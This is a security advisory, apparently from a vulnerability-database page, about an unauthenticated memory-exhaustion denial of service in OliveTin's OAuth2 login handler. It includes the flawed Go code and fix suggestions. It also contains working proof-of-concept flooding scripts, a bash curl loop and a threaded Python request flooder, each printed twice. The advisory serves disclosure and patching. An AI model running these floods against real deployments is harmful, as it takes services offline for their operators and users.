GHSA-XPXJ-F2FM-RQCH
Vulnerability from github – Published: 2026-07-30 14:24 – Updated: 2026-07-30 14:24Summary
OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.
This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.
Affected Versions
- All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)
Details
In service/internal/auth/otoauth2/restapi_auth_oauth2.go:
type OAuth2Handler struct {
cfg *config.Config
mu sync.RWMutex
registeredStates map[string]*oauth2State // NEVER cleaned up
registeredProviders map[string]*oauth2.Config
}
The HandleOAuthLogin handler adds a new state on every request:
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
state, _ := randString(16) // 24-byte base64 string
// ...
h.mu.Lock()
h.registeredStates[state] = &oauth2State{
providerConfig: provider,
providerName: providerName,
Username: "",
}
h.mu.Unlock()
// ... redirect to OAuth2 provider
}
The HandleOAuthCallback handler updates existing states but never removes them:
func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
// ...
h.mu.Lock()
h.registeredStates[state].Username = userinfo.Username // Updates, never deletes
h.registeredStates[state].Usergroup = ...
h.mu.Unlock()
}
There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.
Memory Impact Per State
Each map entry consists of:
- Key: ~24 bytes (base64 string)
- Value: *oauth2State struct containing:
- providerConfig *oauth2.Config (pointer, 8 bytes + shared config)
- providerName string (~8-16 bytes)
- Username string (empty initially)
- Usergroup string (empty initially)
- Go map overhead: ~100-150 bytes per entry
Estimated: ~200 bytes per state entry
At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.
Attack Vector
The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.
PoC
Prerequisites
- OliveTin instance with at least one OAuth2 provider configured
- Network access to
/oauth/login
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false
authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
github:
clientId: "test-client-id"
clientSecret: "test-client-secret"
actions:
- title: noop
shell: echo "ok"
Step 1: Baseline health check
curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK
curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)
Step 2: Flood with state-creation requests
# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
# Throttle to avoid connection limits
if (( i % 500 == 0 )); then
wait
echo "Sent $i requests..."
fi
done
wait
echo "Flood complete"
Step 3: Python PoC for sustained memory exhaustion
#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS
Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000
def create_state(_):
"""Send /oauth/login to create a new state entry."""
try:
requests.get(
f"{TARGET}/oauth/login?provider={PROVIDER}",
allow_redirects=False,
timeout=5
)
return True
except Exception:
return False
def check_health():
"""Check if the server is still responsive."""
try:
r = requests.get(f"{TARGET}/readyz", timeout=5)
return r.status_code == 200
except Exception:
return False
print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()
if not check_health():
print("[!] Server not reachable")
sys.exit(1)
start_time = time.time()
total_created = 0
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
results = list(executor.map(create_state, range(batch_start, batch_end)))
total_created += sum(results)
elapsed = time.time() - start_time
rate = total_created / elapsed if elapsed > 0 else 0
est_memory = total_created * 200 / 1024 / 1024 # MB
print(f" States created: {total_created:>8} | "
f"Rate: {rate:>6.0f}/s | "
f"Est. memory: {est_memory:>6.1f} MB | "
f"Healthy: {check_health()}")
if not check_health():
print(f"\n[!] Server became unresponsive after {total_created} states!")
print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
break
print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")
Step 4: Verify memory growth (Docker)
docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack
Impact
- Who is impacted: All OliveTin deployments with any OAuth2 provider configured
- Attack requirements: Unauthenticated network access to
/oauth/login - Effect: Gradual memory exhaustion leading to OOM kill or service degradation
- Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
- Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.
Suggested Fix
- Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie
MaxAge) - Add a maximum state count (e.g., 10,000) with LRU eviction
- Clean up states after successful callback
- Add periodic garbage collection for expired states
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20251024001301-45f9c18bc3ee"
},
{
"fixed": "0.0.0-20260708075951-ec114e95d297"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67437"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:24:53Z",
"nvd_published_at": "2026-07-29T21:17:47Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOliveTin\u0027s OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.\n\nThis is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access \u2014 the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.\n\n## Affected Versions\n\n- All versions with OAuth2 support, including \u003e= 3000.10.3 (which patched CVE-2026-28789)\n\n## Details\n\nIn `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:\n\n```go\ntype OAuth2Handler struct {\n cfg *config.Config\n mu sync.RWMutex\n registeredStates map[string]*oauth2State // NEVER cleaned up\n registeredProviders map[string]*oauth2.Config\n}\n```\n\nThe `HandleOAuthLogin` handler adds a new state on every request:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {\n state, _ := randString(16) // 24-byte base64 string\n // ...\n h.mu.Lock()\n h.registeredStates[state] = \u0026oauth2State{\n providerConfig: provider,\n providerName: providerName,\n Username: \"\",\n }\n h.mu.Unlock()\n // ... redirect to OAuth2 provider\n}\n```\n\nThe `HandleOAuthCallback` handler updates existing states but never removes them:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {\n // ...\n h.mu.Lock()\n h.registeredStates[state].Username = userinfo.Username // Updates, never deletes\n h.registeredStates[state].Usergroup = ...\n h.mu.Unlock()\n}\n```\n\nThere is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.\n\n### Memory Impact Per State\n\nEach map entry consists of:\n- Key: ~24 bytes (base64 string)\n- Value: `*oauth2State` struct containing:\n - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)\n - `providerName string` (~8-16 bytes)\n - `Username string` (empty initially)\n - `Usergroup string` (empty initially)\n- Go map overhead: ~100-150 bytes per entry\n\nEstimated: **~200 bytes per state entry**\n\nAt 1 million states \u2248 **200 MB** of memory consumed.\nAt 10 million states \u2248 **2 GB** of memory consumed.\n\n### Attack Vector\n\nThe `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least one OAuth2 provider configured\n- Network access to `/oauth/login`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"INFO\"\ncheckForUpdates: false\n\nauthOAuth2RedirectUrl: \"http://127.0.0.1:1337/oauth/callback\"\nauthOAuth2Providers:\n github:\n clientId: \"test-client-id\"\n clientSecret: \"test-client-secret\"\n\nactions:\n - title: noop\n shell: echo \"ok\"\n```\n\n### Step 1: Baseline health check\n\n```bash\ncurl -i http://127.0.0.1:1337/readyz\n# Expected: 200 OK\n\ncurl -I \"http://127.0.0.1:1337/oauth/login?provider=github\"\n# Expected: 302 Found (redirect to GitHub)\n```\n\n### Step 2: Flood with state-creation requests\n\n```bash\n# Each request creates a new map entry that is never cleaned up\nfor i in $(seq 1 100000); do\n curl -s -o /dev/null \"http://127.0.0.1:1337/oauth/login?provider=github\" \u0026\n # Throttle to avoid connection limits\n if (( i % 500 == 0 )); then\n wait\n echo \"Sent $i requests...\"\n fi\ndone\nwait\necho \"Flood complete\"\n```\n\n### Step 3: Python PoC for sustained memory exhaustion\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: OAuth2 State Memory Exhaustion DoS\n\nDistinct from CVE-2026-28789 (concurrent map crash).\nThis exploits unbounded growth of the registeredStates map.\n\"\"\"\n\nimport requests\nimport time\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://127.0.0.1:1337\"\nPROVIDER = \"github\"\nWORKERS = 50\nTOTAL_REQUESTS = 500000\nBATCH_SIZE = 1000\n\ndef create_state(_):\n \"\"\"Send /oauth/login to create a new state entry.\"\"\"\n try:\n requests.get(\n f\"{TARGET}/oauth/login?provider={PROVIDER}\",\n allow_redirects=False,\n timeout=5\n )\n return True\n except Exception:\n return False\n\ndef check_health():\n \"\"\"Check if the server is still responsive.\"\"\"\n try:\n r = requests.get(f\"{TARGET}/readyz\", timeout=5)\n return r.status_code == 200\n except Exception:\n return False\n\nprint(f\"[*] Target: {TARGET}\")\nprint(f\"[*] Provider: {PROVIDER}\")\nprint(f\"[*] Total requests: {TOTAL_REQUESTS}\")\nprint(f\"[*] Workers: {WORKERS}\")\nprint()\n\nif not check_health():\n print(\"[!] Server not reachable\")\n sys.exit(1)\n\nstart_time = time.time()\ntotal_created = 0\n\nwith ThreadPoolExecutor(max_workers=WORKERS) as executor:\n for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):\n batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)\n results = list(executor.map(create_state, range(batch_start, batch_end)))\n total_created += sum(results)\n\n elapsed = time.time() - start_time\n rate = total_created / elapsed if elapsed \u003e 0 else 0\n est_memory = total_created * 200 / 1024 / 1024 # MB\n\n print(f\" States created: {total_created:\u003e8} | \"\n f\"Rate: {rate:\u003e6.0f}/s | \"\n f\"Est. memory: {est_memory:\u003e6.1f} MB | \"\n f\"Healthy: {check_health()}\")\n\n if not check_health():\n print(f\"\\n[!] Server became unresponsive after {total_created} states!\")\n print(f\"[!] Estimated memory consumed: {est_memory:.1f} MB\")\n break\n\nprint(f\"\\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s\")\n```\n\n### Step 4: Verify memory growth (Docker)\n\n```bash\ndocker stats olivetin-instance --no-stream\n# Observe MEM USAGE growing continuously during the attack\n```\n\n## Impact\n\n- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured\n- **Attack requirements:** Unauthenticated network access to `/oauth/login`\n- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation\n- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops \u2014 a restart is required\n- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.\n\n## Suggested Fix\n\n1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)\n2. Add a maximum state count (e.g., 10,000) with LRU eviction\n3. Clean up states after successful callback\n4. Add periodic garbage collection for expired states",
"id": "GHSA-xpxj-f2fm-rqch",
"modified": "2026-07-30T14:24:53Z",
"published": "2026-07-30T14:24:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xpxj-f2fm-rqch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67437"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/ec114e95d297b806c3ca0c37bc139b3c9c517b3f"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.